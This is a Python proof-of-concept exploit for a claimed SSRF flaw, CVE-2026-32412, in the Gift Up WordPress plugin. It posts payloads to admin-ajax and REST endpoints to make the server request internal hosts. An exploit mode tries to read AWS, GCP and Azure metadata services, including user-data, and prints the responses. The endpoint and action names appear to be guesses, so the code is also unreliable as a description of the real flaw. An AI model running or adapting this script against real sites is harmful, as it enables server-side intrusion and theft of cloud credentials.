# CVE-2026-32412 SSRF PoC for Gift Up WordPress Plugin
# Target: WordPress site with Gift Up plugin <= 3.1.7
import requests
import argparse
def check_ssrf(target_url, target_host):
"""
Check for SSRF vulnerability in Gift Up plugin
target_url: Base URL of WordPress site
target_host: Internal host to test (e.g., localhost, 169.254.169.254)
"""
# Gift Up plugin SSRF endpoint - typically in admin-ajax.php or custom endpoint
endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-json/gift-up/v1/endpoint',
'/?rest_route=/gift-up/v1/'
]
# SSRF payload - try to make server request to internal service
ssrf_payloads = [
{'action': 'gift_up_ssrf', 'url': f'http://{target_host}/'},
{'action': 'giftup_ssrf_test', 'request_url': f'http://{target_host}/'},
{'giftup_action': 'ssrf', 'url': f'http://{target_host}/'},
{'giftup_ssrf': '1', 'url': f'http://{target_host}:80/'}
]
for endpoint in endpoints:
for payload in ssrf_payloads:
try:
response = requests.post(
target_url + endpoint,
data=payload,
timeout=10,
verify=False
)
print(f"[*] Testing {endpoint} with payload: {payload}")
print(f"[*] Response status: {response.status_code}")
# Check for signs of SSRF success
if response.elapsed.total_seconds() > 1:
print(f"[!] Possible SSRF detected - slow response")
except requests.exceptions.Timeout:
print(f"[!] Timeout - possible blind SSRF to {target_host}")
except Exception as e:
print(f"[-] Error: {e}")
def exploit_internal_access(target_url):
"""
Attempt to access internal metadata service (AWS/Azure/GCP)
"""
metadata_endpoints = [
'http://169.254.169.254/latest/meta-data/',
'http://169.254.169.254/latest/user-data/',
'http://metadata.google.internal/computeMetadata/v1/',
'http://metadata.azure.com/instance'
]
for endpoint in metadata_endpoints:
print(f"[*] Testing metadata endpoint: {endpoint}")
# Send request through vulnerable endpoint
data = {
'action': 'gift_up_fetch',
'url': endpoint
}
try:
response = requests.post(
target_url + '/wp-admin/admin-ajax.php',
data=data,
timeout=5
)
if response.status_code == 200 and len(response.text) > 0:
print(f"[!] Successfully accessed: {endpoint}")
print(f"[!] Response preview: {response.text[:500]}")
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2026-32412 SSRF PoC')
parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
parser.add_argument('-t', '--target', default='127.0.0.1', help='Target host to test')
parser.add_argument('--exploit', action='store_true', help='Try to exploit internal access')
args = parser.parse_args()
if args.exploit:
exploit_internal_access(args.url)
else:
check_ssrf(args.url, args.target)